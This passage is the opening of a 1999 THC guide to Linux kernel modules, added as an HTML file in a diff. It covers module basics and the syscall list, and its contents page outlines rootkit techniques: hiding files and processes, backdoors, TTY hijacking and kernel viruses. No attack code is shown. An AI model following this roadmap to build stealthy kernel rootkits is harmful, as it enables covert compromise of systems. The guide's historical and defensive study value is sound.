|
@@ -0,0 +1,7959 @@
|
|
|
+<HTML>
|
|
|
+<TITLE>(nearly) Complete Linux Loadable Kernel Modules</title>
|
|
|
+<BODY BGCOLOR=WHITE>
|
|
|
+<CENTER>
|
|
|
+<H1><FONT COLOR=#0000FF>
|
|
|
+ (nearly) Complete Linux Loadable Kernel Modules
|
|
|
+</H1></FONT>
|
|
|
+
|
|
|
+
|
|
|
+<H4>
|
|
|
+ -the definitive guide for hackers, virus coders and system administrators-
|
|
|
+</H4>
|
|
|
+
|
|
|
+</CENTER>
|
|
|
+<P>
|
|
|
+<H4><FONT COLOR=#FF0000>
|
|
|
+written by pragmatic / THC, version 1.0<br>
|
|
|
+released 03/1999<br>
|
|
|
+</H4></font>
|
|
|
+
|
|
|
+<P><P><P><P><P><P>
|
|
|
+
|
|
|
+<CENTER>
|
|
|
+<H3>
|
|
|
+ CONTENTS
|
|
|
+</H3>
|
|
|
+</CENTER>
|
|
|
+
|
|
|
+
|
|
|
+<A HREF="#Introduction">Introduction</A><BR>
|
|
|
+<P><P>
|
|
|
+<B><U>
|
|
|
+I. Basics<BR>
|
|
|
+</B></U>
|
|
|
+<A HREF="#I.1.">1. What are LKMs</A><BR>
|
|
|
+<A HREF="#I.2.">2. What are Syscalls</A><BR>
|
|
|
+<A HREF="#I.3.">3. What is the Kernel-Symbol-Table</A><BR>
|
|
|
+<A HREF="#I.4.">4. How to transform Kernel to User Space Memory</A><BR>
|
|
|
+<A HREF="#I.5.">5. Ways to use user space like functions</A><BR>
|
|
|
+<A HREF="#I.6.">6. List of daily needed Kernelspace Functions</A><BR>
|
|
|
+<A HREF="#I.7.">7. What is the Kernel-Daemon</A><BR>
|
|
|
+<A HREF="#I.8.">8. Creating your own Devices</A><BR>
|
|
|
+<P><P>
|
|
|
+<B><U>
|
|
|
+II. Fun & Profit<BR>
|
|
|
+</B></U>
|
|
|
+<A HREF="#II.1.">1. How to intercept Syscalls</A><BR>
|
|
|
+<A HREF="#II.2.">2. Interesting Syscalls to Intercept</A><BR>
|
|
|
+<DD><A HREF="#II.2.1.">2.1 Finding interesting systemcalls (the strace approach)</A><BR></DD>
|
|
|
+<A HREF="#II.3.">3. Confusing the kernel's System Table</A><BR>
|
|
|
+<A HREF="#II.4.">4. Filesystem related Hacks</A><BR>
|
|
|
+<DD><A HREF="#II.4.1."> 4.1 How to Hide Files</A><BR></DD>
|
|
|
+<DD><A HREF="#II.4.2."> 4.2 How to hide the file contents (totally)</A><BR></DD>
|
|
|
+<DD><A HREF="#II.4.3."> 4.3 How to hide certain file parts (a prototype implementation)</A><BR></DD>
|
|
|
+<DD><A HREF="#II.4.4."> 4.4 How to monitor redirect file operations</A><BR></DD>
|
|
|
+<DD><A HREF="#II.4.5."> 4.5 How to avoid any file owner problems</A><BR></DD>
|
|
|
+<DD><A HREF="#II.4.6."> 4.6 How to make a hacker-tools-directory unaccessible</A><BR></DD>
|
|
|
+<DD><A HREF="#II.4.7."> 4.7 How to change CHROOT Environments</A><BR></DD>
|
|
|
+<A HREF="#II.5.">5. Process related Hacks</A><BR>
|
|
|
+<DD><A HREF="#II.5.1."> 5.1 How to hide any process</A><BR></DD>
|
|
|
+<DD><A HREF="#II.5.2."> 5.2 How to redirect Execution of files</A><BR></DD>
|
|
|
+<A HREF="#II.6.">6. Network (Socket) related Hacks</A><BR>
|
|
|
+<DD><A HREF="#II.6.1."> 6.1 How to controll Socket Operations</A><BR></DD>
|
|
|
+<A HREF="#II.7.">7. Ways to TTY Hijacking</A><BR>
|
|
|
+<A HREF="#II.8.">8. Virus writing with LKMs</A><BR>
|
|
|
+<DD><A HREF="#II.8.1."> 8.1 How a LKM virus can infect any file (not just modules; prototype)</A><BR></DD>
|
|
|
+<DD><A HREF="#II.8.2."> 8.2 How can a LKM virus help us to get in</A><BR></DD>
|
|
|
+<A HREF="#II.9.">9. Making our LKM invisible & unremovable</A><BR>
|
|
|
+<A HREF="#II.10.">10.Other ways of abusing the Kerneldaemon</A><BR>
|
|
|
+<A HREF="#II.11.">11.How to check for presents of our LKM</A><BR>
|
|
|
+<P><P>
|
|
|
+<B><U>
|
|
|
+III. Soltutions (for admins)<BR>
|
|
|
+</B></U>
|
|
|
+<A HREF="#III.1.">1. LKM Detector Theory & Ideas</A><BR>
|
|
|
+<DD><A HREF="#III.1.1.">1.1 Practical Example of a prototype Detector</A><BR></DD>
|
|
|
+<DD><A HREF="#III.1.2.">1.2 Practical Example of a prototype password protected create_module(...)</A><BR></DD>
|
|
|
+<A HREF="#III.2.">2. Anti-LKM-Infector ideas</A><BR>
|
|
|
+<A HREF="#III.3.">3 Make your programs untraceable (theory)</A><BR>
|
|
|
+<DD><A HREF="#III.3.1.">3.1 Practical Example of a prototype Anti-Tracer</A><BR></DD>
|
|
|
+<A HREF="#III.3.">4. Hardening the Linux Kernel with LKMs</A><BR>
|
|
|
+<DD><A HREF="#III.4.1."> 4.1 Why should we allow arbitrary programs execution rights?
|
|
|
+ (route's idea from Phrack implemented as LKM)</A><BR></DD>
|
|
|
+<DD><A HREF="#III.4.2"> 4.2 The Link Patch
|
|
|
+ (Solar Designer's idea from Phrack implemented as LKM)</A><BR></DD>
|
|
|
+<DD><A HREF="#III.4.3."> 4.3 The /proc permission patch
|
|
|
+ (route's idea from Phrack implemented as LKM)</A><BR></DD>
|
|
|
+<DD><A HREF="#III.4.4."> 4.4 The securelevel patch
|
|
|
+ (route's idea from Phrack implemented as LKM)</A><BR></DD>
|
|
|
+<DD><A HREF="#III.4.5."> 4.5 The rawdisk patch</A><BR></DD>
|
|
|
+<P><P>
|
|
|
+<B><U>
|
|
|
+IV. Some Better Ideas (for hackers)<BR>
|
|
|
+</B></U>
|
|
|
+<A HREF="#IV.1.">1. Tricks to beat admin LKMs</A><BR>
|
|
|
+<A HREF="#IV.2.">2. Patching the whole kernel - or creating the Hacker-OS</A><BR>
|
|
|
+<DD><A HREF="#IV.2.1."> 2.1 How to find kernel symbols in /dev/kmem</A><BR></DD>
|
|
|
+<DD><A HREF="#IV.2.2."> 2.2 The new 'insmod' working without kernel support</A><BR></DD>
|
|
|
+<A HREF="#IV.3.">3. Last words</A><BR>
|
|
|
+<P><P>
|
|
|
+<B><U>
|
|
|
+V. The near future : Kernel 2.2<BR>
|
|
|
+</B></U>
|
|
|
+<A HREF="#V.1.">1. Main Difference for LKM writer's</A><BR>
|
|
|
+<P><P>
|
|
|
+<B><U>
|
|
|
+VI. Last Words<BR>
|
|
|
+</B></U>
|
|
|
+<A HREF="#VI.1.">1. The 'LKM story' or 'how to make a system plug & hack compatible'</A><BR>
|
|
|
+<A HREF="#VI.2.">2. Links to other Resources</A><BR>
|
|
|
+<P><P>
|
|
|
+<A HREF="#Acknowledgements">Acknowledgements</A><BR>
|
|
|
+<P><P>
|
|
|
+<A HREF="#Greets">Greets</A><BR>
|
|
|
+<P><P><P><P>
|
|
|
+<B><U>
|
|
|
+Appendix<BR>
|
|
|
+</B></U>
|
|
|
+<P><P>
|
|
|
+<B><U>
|
|
|
+A - Source Codes<BR>
|
|
|
+</B></U>
|
|
|
+
|
|
|
+<DD><A HREF="#A-a">a) LKM Infection <I>by Stealthf0rk/SVAT</I></A><BR></DD>
|
|
|
+<DD><A HREF="#A-b">b) Heroin - the classic one <I>by Runar Jensen</I></A><BR></DD>
|
|
|
+<DD><A HREF="#A-c">c) LKM Hider / Socket Backdoor <I>by plaguez</I></A><BR></DD>
|
|
|
+<DD><A HREF="#A-d">d) LKM TTY hijacking <I>by halflife</I></A><BR></DD>
|
|
|
+<DD><A HREF="#A-e">e) AFHRM - the monitor tool <I>by Michal Zalewski</I></A><BR></DD>
|
|
|
+<DD><A HREF="#A-f">f) CHROOT module trick <I>by FLoW/HISPAHACK</I></A><BR></DD>
|
|
|
+<DD><A HREF="#A-g">g) Kernel Memory Patching <I>by ?</I></A><BR></DD>
|
|
|
+<DD><A HREF="#A-h">h) Module insertion without native support <I>by Silvio Cesare</I></A><BR></DD>
|
|
|
+
|
|
|
+<P><P><P><P>
|
|
|
+<HR SIZE="3" WIDTH="300" ALIGN="CENTER" NOSHADE="NOSHADE">
|
|
|
+<P><P><P><P>
|
|
|
+
|
|
|
+<P>
|
|
|
+<H3><A NAME="Introduction"></A>Introduction</H3>
|
|
|
+<P>
|
|
|
+
|
|
|
+The use of Linux in server environments is growing from second to second. So
|
|
|
+hacking Linux becomes more interesting every day. One of the best techniques to
|
|
|
+attack a Linux system is using kernel code. Due to its feature called Loadable
|
|
|
+Kernel Modules (LKMs) it is possible to write code running in kernel space, which
|
|
|
+allows us to access very sensitive parts of the OS. There were some texts and
|
|
|
+files concerning LKM hacking before (Phrack, for example) which were very good.
|
|
|
+They introduced new ideas, new methodes and complete LKMs doing anything a
|
|
|
+hacker ever dreamed of. Also some public discussion (Newsgroups, Mailinglists)
|
|
|
+in 1998 were very interesting.<BR>
|
|
|
+So why do I write again a text about LKMs. Well there are several reasons :
|
|
|
+<ul>
|
|
|
+<li> former texts did sometimes not give good explanations for kernel beginners;
|
|
|
+ this text has a very big basic section, helping beginners to understand the
|
|
|
+ concepts. I met lots of people using nice exploits/sniffers and so on without
|
|
|
+ even understanding how they work. I included lots of source code in this file
|
|
|
+ with lots of comments, just to help those beginners who know that hacking is
|
|
|
+ more than playing havoc on some networks out there !<br>
|
|
|
+<li> every published text concentrated on a special subject, there was no complete
|
|
|
+ guide for hackers concerning LKMs. This text will cover nearly every aspect of
|
|
|
+ kernel abusing (even virus aspects)<br>
|
|
|
+<li> this texts was written from the hacker / virus coder perspective, but it will
|
|
|
+ also help admins and normal kernel developers doing a better job<br>
|
|
|
+<li> former text showed us the main advantages / methods of abusing LKMs, but
|
|
|
+ there are some things which we have not heard of yet. This text will show
|
|
|
+ some new ideas (nothing totally new, but things which could help us)<br>
|
|
|
+<li> this text will show concepts of some simple ways to protect from LKM attacks<br>
|
|
|
+<li> this text will also show how to defeat LKM protections by using methods like
|
|
|
+ Runtime Kernel Patching<br>
|
|
|
+</ul>
|
|
|
+
|
|
|
+Please remember that new ideas are implemented as prototype modules (just for
|
|
|
+demonstration) which have to be improved in order to use them in the wild.<br>
|
|
|
+The main motivation of this text is giving everyone <i>one</i> big text covering the
|
|
|
+whole LKM problem. In appendix A I give you some existing LKMs plus a short
|
|
|
+description of their working (for beginners) and ways to use them. <br>
|
|
|
+The whole text (except part V) is based on a Linux 2.0.x machine (x86).I tested
|
|
|
+all programs and code fragments. The Linux system must have LKM support for
|
|
|
+using most code examples in this text. Only part IV will show some sources
|
|
|
+working without native LKM support. Most ideas in this text will also work on
|
|
|
+2.2.x systems (perhaps you'll need some minor modification); but recall that
|
|
|
+kernel 2.2.x was just released (1/99) and most linux distribution still use
|
|
|
+2.0.x (Redhat, SuSE, Caldera, ...). In April some some distributors like SuSE
|
|
|
+will present their kernel 2.2.x versions; so you won't need to know how to hack
|
|
|
+a 2.2.x kernel at the moment. Good administrators will also wait some months
|
|
|
+in order to get a more reliable 2.2.x kernel. [Note : Most systems just don't
|
|
|
+need kernel 2.2.x so they will continue using 2.0.x].<br>
|
|
|
+This text has a special section dealing with LKMs helping admins to secure the
|
|
|
+system. You (hacker) should also read this section, you <i>must</i> know everything
|
|
|
+the admins know and even more. You will also get some nice ideas from that
|
|
|
+section that could help you develope more advanced 'hacker-LKMs'. Just read the
|
|
|
+whole text !<br>
|
|
|
+<I><u>And please remember</I></u> : This text was only written for educational purpose. Any
|
|
|
+illegal action based on this text is your own problem.<br>
|
|
|
+
|
|
|
+
|
|
|
+<u><b>
|
|
|
+<H2>I. Basics</H2>
|
|
|
+</u></b>
|
|
|
+<P><P>
|
|
|
+<H3><A NAME="I.1."></A>1. What are LKMs</H3>
|
|
|
+
|
|
|
+
|
|
|
+LKMs are Loadable Kernel Modules used by the Linux kernel to expand his
|
|
|
+functionality. The advantage of those LKMs : <i>The can be loaded dynamically</i>;
|
|
|
+there must be no recompilation of the whole kernel. Because of those features
|
|
|
+they are often used for specific device drivers (or filesystems) such as
|
|
|
+soundcards etc.<br>
|
|
|
+Every LKM consist of two basic functions (minimum) :
|
|
|
+<XMP>
|
|
|
+int init_module(void) /*used for all initialition stuff*/
|
|
|
+{
|
|
|
+
|
|
|
+...
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*used for a clean shutdown*/
|
|
|
+{
|
|
|
+...
|
|
|
+}
|
|
|
+</XMP>
|
|
|
+
|
|
|
+Loading a module - normally retricted to root - is managed by issuing the
|
|
|
+follwing command:
|
|
|
+
|
|
|
+<xmp>
|
|
|
+# insmod module.o
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This command forces the System to do the following things :
|
|
|
+<ul>
|
|
|
+<li>Load the objectfile (here module.o)<br>
|
|
|
+<li>call create_module systemcall (for systemcalls -> see I.2) for Relocation of
|
|
|
+ memory<br>
|
|
|
+<li>unresolved references are resolved by Kernel-Symbols with the systemcall
|
|
|
+ get_kernel_syms<br>
|
|
|
+<li>after this the init_module systemcall is used for the LKM initialisation
|
|
|
+ -> executing int init_module(void) etc.<br>
|
|
|
+</ul>
|
|
|
+The Kernel-Symbols are explained in I.3 (Kernel-Symbol-Table).<br>
|
|
|
+So I think we can write our first little LKM just showing how it basicly works:
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#include <Linux/module.h>
|
|
|
+
|
|
|
+int init_module(void)
|
|
|
+{
|
|
|
+ printk("<1>Hello World\n");
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void)
|
|
|
+{
|
|
|
+ printk("<1>Bye, Bye");
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+You may wonder why I used printk(...) not printf(...). Well <i>Kernel-Programming</i>
|
|
|
+is totally different from <i>Userspace-Programming</i> !<br>
|
|
|
+You only have a very restricted set of commands (see I.6). With those commands
|
|
|
+you cannot do much, so you will learn how to use lots of functions you know from
|
|
|
+your userspace applications helping you hacking the kernel. Just be patient, we
|
|
|
+have to do something else before...<br>
|
|
|
+The Example above can easily compiled by
|
|
|
+
|
|
|
+<xmp>
|
|
|
+# gcc -c -O3 helloworld.c
|
|
|
+# insmod helloworld.o
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Ok, our module is loaded and showed us the famous text. Now you can check some
|
|
|
+commands showing you that your LKM really stays in kernel space.<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+# lsmod
|
|
|
+Module Pages Used by
|
|
|
+helloworld 1 0
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This command reads the information in /proc/modules for showing you which
|
|
|
+modules are loaded at the moment. 'Pages' is the memory information (how many
|
|
|
+pages does this module fill); the 'Used by' field tells us how often the module
|
|
|
+is used in the System (reference count). The module can only be removed, when
|
|
|
+this counter is zero; after checking this, you can remove your module with
|
|
|
+
|
|
|
+<xmp>
|
|
|
+# rmmod helloworld
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Ok, this was our first little (very little) step towards abusing LKMs. I always
|
|
|
+compared those LKMs to old DOS TSR Programs (yes there are many differences,
|
|
|
+I know), they were our gate to staying resident in memory and catching every
|
|
|
+interrupt we wanted. Microsoft's WIN 9x has something called VxD, which is
|
|
|
+also similar to LKMs (also many differences). The most interesting part of
|
|
|
+those resident programs is the ability to hook system functions, in the Linux
|
|
|
+world called systemcalls.<br>
|
|
|
+
|
|
|
+
|
|
|
+<H3><A NAME="I.2."></A>2. What are systemcalls</h3>
|
|
|
+
|
|
|
+I hope you know, that every OS has some functions build into its kernel, which
|
|
|
+are used for every operation on that system.<br>
|
|
|
+The functions Linux uses are called systemcalls. They represent a transition
|
|
|
+from user to kernel space. Opening a file in user space is represented by the
|
|
|
+sys_open systemcall in kernel space. For a complete list of all systemcalls
|
|
|
+available on your System look at /usr/include/sys/syscall.h. The following list
|
|
|
+shows my syscall.h
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#ifndef _SYS_SYSCALL_H
|
|
|
+#define _SYS_SYSCALL_H
|
|
|
+
|
|
|
+#define SYS_setup 0 /* Used only by init, to get system going. */
|
|
|
+#define SYS_exit 1
|
|
|
+#define SYS_fork 2
|
|
|
+#define SYS_read 3
|
|
|
+#define SYS_write 4
|
|
|
+#define SYS_open 5
|
|
|
+#define SYS_close 6
|
|
|
+#define SYS_waitpid 7
|
|
|
+#define SYS_creat 8
|
|
|
+#define SYS_link 9
|
|
|
+#define SYS_unlink 10
|
|
|
+#define SYS_execve 11
|
|
|
+#define SYS_chdir 12
|
|
|
+#define SYS_time 13
|
|
|
+#define SYS_prev_mknod 14
|
|
|
+#define SYS_chmod 15
|
|
|
+#define SYS_chown 16
|
|
|
+#define SYS_break 17
|
|
|
+#define SYS_oldstat 18
|
|
|
+#define SYS_lseek 19
|
|
|
+#define SYS_getpid 20
|
|
|
+#define SYS_mount 21
|
|
|
+#define SYS_umount 22
|
|
|
+#define SYS_setuid 23
|
|
|
+#define SYS_getuid 24
|
|
|
+#define SYS_stime 25
|
|
|
+#define SYS_ptrace 26
|
|
|
+#define SYS_alarm 27
|
|
|
+#define SYS_oldfstat 28
|
|
|
+#define SYS_pause 29
|
|
|
+#define SYS_utime 30
|
|
|
+#define SYS_stty 31
|
|
|
+#define SYS_gtty 32
|
|
|
+#define SYS_access 33
|
|
|
+#define SYS_nice 34
|
|
|
+#define SYS_ftime 35
|
|
|
+#define SYS_sync 36
|
|
|
+#define SYS_kill 37
|
|
|
+#define SYS_rename 38
|
|
|
+#define SYS_mkdir 39
|
|
|
+#define SYS_rmdir 40
|
|
|
+#define SYS_dup 41
|
|
|
+#define SYS_pipe 42
|
|
|
+#define SYS_times 43
|
|
|
+#define SYS_prof 44
|
|
|
+#define SYS_brk 45
|
|
|
+#define SYS_setgid 46
|
|
|
+#define SYS_getgid 47
|
|
|
+#define SYS_signal 48
|
|
|
+#define SYS_geteuid 49
|
|
|
+#define SYS_getegid 50
|
|
|
+#define SYS_acct 51
|
|
|
+#define SYS_phys 52
|
|
|
+#define SYS_lock 53
|
|
|
+#define SYS_ioctl 54
|
|
|
+#define SYS_fcntl 55
|
|
|
+#define SYS_mpx 56
|
|
|
+#define SYS_setpgid 57
|
|
|
+#define SYS_ulimit 58
|
|
|
+#define SYS_oldolduname 59
|
|
|
+#define SYS_umask 60
|
|
|
+#define SYS_chroot 61
|
|
|
+#define SYS_prev_ustat 62
|
|
|
+#define SYS_dup2 63
|
|
|
+#define SYS_getppid 64
|
|
|
+#define SYS_getpgrp 65
|
|
|
+#define SYS_setsid 66
|
|
|
+#define SYS_sigaction 67
|
|
|
+#define SYS_siggetmask 68
|
|
|
+#define SYS_sigsetmask 69
|
|
|
+#define SYS_setreuid 70
|
|
|
+#define SYS_setregid 71
|
|
|
+#define SYS_sigsuspend 72
|
|
|
+#define SYS_sigpending 73
|
|
|
+#define SYS_sethostname 74
|
|
|
+#define SYS_setrlimit 75
|
|
|
+#define SYS_getrlimit 76
|
|
|
+#define SYS_getrusage 77
|
|
|
+#define SYS_gettimeofday 78
|
|
|
+#define SYS_settimeofday 79
|
|
|
+#define SYS_getgroups 80
|
|
|
+#define SYS_setgroups 81
|
|
|
+#define SYS_select 82
|
|
|
+#define SYS_symlink 83
|
|
|
+#define SYS_oldlstat 84
|
|
|
+#define SYS_readlink 85
|
|
|
+#define SYS_uselib 86
|
|
|
+#define SYS_swapon 87
|
|
|
+#define SYS_reboot 88
|
|
|
+#define SYS_readdir 89
|
|
|
+#define SYS_mmap 90
|
|
|
+#define SYS_munmap 91
|
|
|
+#define SYS_truncate 92
|
|
|
+#define SYS_ftruncate 93
|
|
|
+#define SYS_fchmod 94
|
|
|
+#define SYS_fchown 95
|
|
|
+#define SYS_getpriority 96
|
|
|
+#define SYS_setpriority 97
|
|
|
+#define SYS_profil 98
|
|
|
+#define SYS_statfs 99
|
|
|
+#define SYS_fstatfs 100
|
|
|
+#define SYS_ioperm 101
|
|
|
+#define SYS_socketcall 102
|
|
|
+#define SYS_klog 103
|
|
|
+#define SYS_setitimer 104
|
|
|
+#define SYS_getitimer 105
|
|
|
+#define SYS_prev_stat 106
|
|
|
+#define SYS_prev_lstat 107
|
|
|
+#define SYS_prev_fstat 108
|
|
|
+#define SYS_olduname 109
|
|
|
+#define SYS_iopl 110
|
|
|
+#define SYS_vhangup 111
|
|
|
+#define SYS_idle 112
|
|
|
+#define SYS_vm86old 113
|
|
|
+#define SYS_wait4 114
|
|
|
+#define SYS_swapoff 115
|
|
|
+#define SYS_sysinfo 116
|
|
|
+#define SYS_ipc 117
|
|
|
+#define SYS_fsync 118
|
|
|
+#define SYS_sigreturn 119
|
|
|
+#define SYS_clone 120
|
|
|
+#define SYS_setdomainname 121
|
|
|
+#define SYS_uname 122
|
|
|
+#define SYS_modify_ldt 123
|
|
|
+#define SYS_adjtimex 124
|
|
|
+#define SYS_mprotect 125
|
|
|
+#define SYS_sigprocmask 126
|
|
|
+#define SYS_create_module 127
|
|
|
+#define SYS_init_module 128
|
|
|
+#define SYS_delete_module 129
|
|
|
+#define SYS_get_kernel_syms 130
|
|
|
+#define SYS_quotactl 131
|
|
|
+#define SYS_getpgid 132
|
|
|
+#define SYS_fchdir 133
|
|
|
+#define SYS_bdflush 134
|
|
|
+#define SYS_sysfs 135
|
|
|
+#define SYS_personality 136
|
|
|
+#define SYS_afs_syscall 137 /* Syscall for Andrew File System */
|
|
|
+#define SYS_setfsuid 138
|
|
|
+#define SYS_setfsgid 139
|
|
|
+#define SYS__llseek 140
|
|
|
+#define SYS_getdents 141
|
|
|
+#define SYS__newselect 142
|
|
|
+#define SYS_flock 143
|
|
|
+#define SYS_syscall_flock SYS_flock
|
|
|
+#define SYS_msync 144
|
|
|
+#define SYS_readv 145
|
|
|
+#define SYS_syscall_readv SYS_readv
|
|
|
+#define SYS_writev 146
|
|
|
+#define SYS_syscall_writev SYS_writev
|
|
|
+#define SYS_getsid 147
|
|
|
+#define SYS_fdatasync 148
|
|
|
+#define SYS__sysctl 149
|
|
|
+#define SYS_mlock 150
|
|
|
+#define SYS_munlock 151
|
|
|
+#define SYS_mlockall 152
|
|
|
+#define SYS_munlockall 153
|
|
|
+#define SYS_sched_setparam 154
|
|
|
+#define SYS_sched_getparam 155
|
|
|
+#define SYS_sched_setscheduler 156
|
|
|
+#define SYS_sched_getscheduler 157
|
|
|
+#define SYS_sched_yield 158
|
|
|
+#define SYS_sched_get_priority_max 159
|
|
|
+#define SYS_sched_get_priority_min 160
|
|
|
+#define SYS_sched_rr_get_interval 161
|
|
|
+#define SYS_nanosleep 162
|
|
|
+#define SYS_mremap 163
|
|
|
+#define SYS_setresuid 164
|
|
|
+#define SYS_getresuid 165
|
|
|
+#define SYS_vm86 166
|
|
|
+#define SYS_query_module 167
|
|
|
+#define SYS_poll 168
|
|
|
+#define SYS_syscall_poll SYS_poll
|
|
|
+
|
|
|
+#endif /* <sys/syscall.h> */
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Every systemcall has a defined number (see listing above), which is actually
|
|
|
+used to make the systemcall.<br>
|
|
|
+The Kernel uses interrupt 0x80 for managing every systemcall. The systemcall
|
|
|
+number and any arguments are moved to some registers (eax for systemcall number,
|
|
|
+for example).<br>
|
|
|
+The systemcall number is an index in an array of a kernel structure called
|
|
|
+sys_call_table[]. This structure maps the systemcall numbers to the needed
|
|
|
+service function.<br>
|
|
|
+Ok, this should be enough knowledge to continue reading. The following table
|
|
|
+lists the most interesting systemcalls plus a short description.
|
|
|
+Believe me, you have to know the exact working of those systemcalls in order to
|
|
|
+make really useful LKMs.<br>
|
|
|
+
|
|
|
+<TABLE border=5 width=100%>
|
|
|
+<tr>
|
|
|
+
|
|
|
+<th>systemcall</th>
|
|
|
+<th>description</th>
|
|
|
+
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_brk(unsigned long new_brk);</td>
|
|
|
+<td>changes the size of used DS (data segment)
|
|
|
+ ->this systemcall will be discussed in I.4</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_fork(struct pt_regs regs);</td>
|
|
|
+<td>systemcall for the well-know fork() function in user space</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_getuid
|
|
|
+()<br>
|
|
|
+int sys_setuid
|
|
|
+(uid_t uid)<br>
|
|
|
+...</td>
|
|
|
+<td>systemcalls for managing UID etc.</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_get_kernel_sysms(struct kernel_sym *table)</td>
|
|
|
+<td>systemcall for accessing the kernel system table (-> I.3)</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_sethostname
|
|
|
+(char *name,
|
|
|
+ int len);<br>
|
|
|
+int sys_gethostname
|
|
|
+(char *name,
|
|
|
+ int len);<br></td>
|
|
|
+<td>sys_sethostname is responsible for setting the hostname, and sys_gethostname for retrieving
|
|
|
+it</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_chdir
|
|
|
+(const char *path);<br>
|
|
|
+int sys_fchdir
|
|
|
+(unsigned int fd);<br></td>
|
|
|
+<td>both function are used for setting the current directory (cd ...)</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_chmod
|
|
|
+(const char
|
|
|
+ *filename, mode_t
|
|
|
+ mode);<br>
|
|
|
+int sys_chown
|
|
|
+(const char
|
|
|
+ *filename, mode_t
|
|
|
+ mode);<br>
|
|
|
+int sys_fchmod
|
|
|
+(unsigned int
|
|
|
+ fildes, mode_t
|
|
|
+ mode);<br>
|
|
|
+int sys_fchown
|
|
|
+(unsigned int
|
|
|
+ fildes, mode_t
|
|
|
+ mode);<br></td>
|
|
|
+<td>functions for managing permissions and so on</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_chroot
|
|
|
+(const char
|
|
|
+ *filename);</td>
|
|
|
+<td>sets root directory for calling process</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_execve
|
|
|
+(struct pt_regs regs);</td>
|
|
|
+<td>important systemcall -> it is responsible for executing file (pt_regs is the register stack)</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>long sys_fcntl
|
|
|
+(unsigned int fd,
|
|
|
+ unsigned int cmd,
|
|
|
+ unsigned long arg);</td>
|
|
|
+<td>changing characteristics of fd (opened file descr.)</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_link
|
|
|
+(const char *oldname,
|
|
|
+ const char *newname);<br>
|
|
|
+int sym_link
|
|
|
+(const char *oldname,
|
|
|
+ const char *newname);<br>
|
|
|
+int sys_unlink
|
|
|
+(const char *name);<br></td>
|
|
|
+<td>systemcalls for hard- / softlinks management</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_rename
|
|
|
+(const char *oldname,
|
|
|
+ const char *newname);</td>
|
|
|
+<td>file renaming</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_rmdir
|
|
|
+(const char* name);<br>
|
|
|
+int sys_mkdir
|
|
|
+(const *char filename,
|
|
|
+ int mode);<br></td>
|
|
|
+<td>creating & removing directories</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_open
|
|
|
+(const char *filename,
|
|
|
+int mode);<br>
|
|
|
+int sys_close
|
|
|
+(unsigned int fd);<br></td>
|
|
|
+<td>everything concering opening files (also creation), and also closing them</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_read
|
|
|
+(unsigned int fd,
|
|
|
+ char *buf, unsigned int
|
|
|
+ count);<br>
|
|
|
+int sys_write
|
|
|
+(unsigned int fd,
|
|
|
+ char *buf, unsigned int
|
|
|
+ count);<br></td>
|
|
|
+<td>systemcalls for writing & reading from Files</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_getdents
|
|
|
+(unsigned int fd,
|
|
|
+ struct dirent *dirent,
|
|
|
+ unsigned int count);</td>
|
|
|
+<td>systemcall which retrievs file listing (ls ... command) </td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_readlink
|
|
|
+(const char *path,
|
|
|
+ char *buf, int bufsize);</td>
|
|
|
+<td>reading symbolic links</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sys_selectt
|
|
|
+(int n, fd_set *inp,
|
|
|
+fd_set *outp, fd_set
|
|
|
+ *exp, struct timeval
|
|
|
+ *tvp);</td>
|
|
|
+<td>multiplexing of I/O operations</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>sys_socketcall
|
|
|
+(int call, unsigned long
|
|
|
+ args);</td>
|
|
|
+<td>socket functions</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>unsigned long
|
|
|
+sys_create_module
|
|
|
+(char *name, unsigned
|
|
|
+long size);<br>
|
|
|
+int sys_delete_module
|
|
|
+(char *name);<br>
|
|
|
+int sys_query_module
|
|
|
+(const char *name,
|
|
|
+ int which,
|
|
|
+ void *buf,
|
|
|
+ size_t bufsize,
|
|
|
+ size_t *ret);<br></td>
|
|
|
+<td>used for loading / unloading LKMs and querying</td>
|
|
|
+</tr>
|
|
|
+</table>
|
|
|
+
|
|
|
+In my opinion these are the most interesting systemcalls for any hacking
|
|
|
+intention, of course it is possible that you may need something special on your
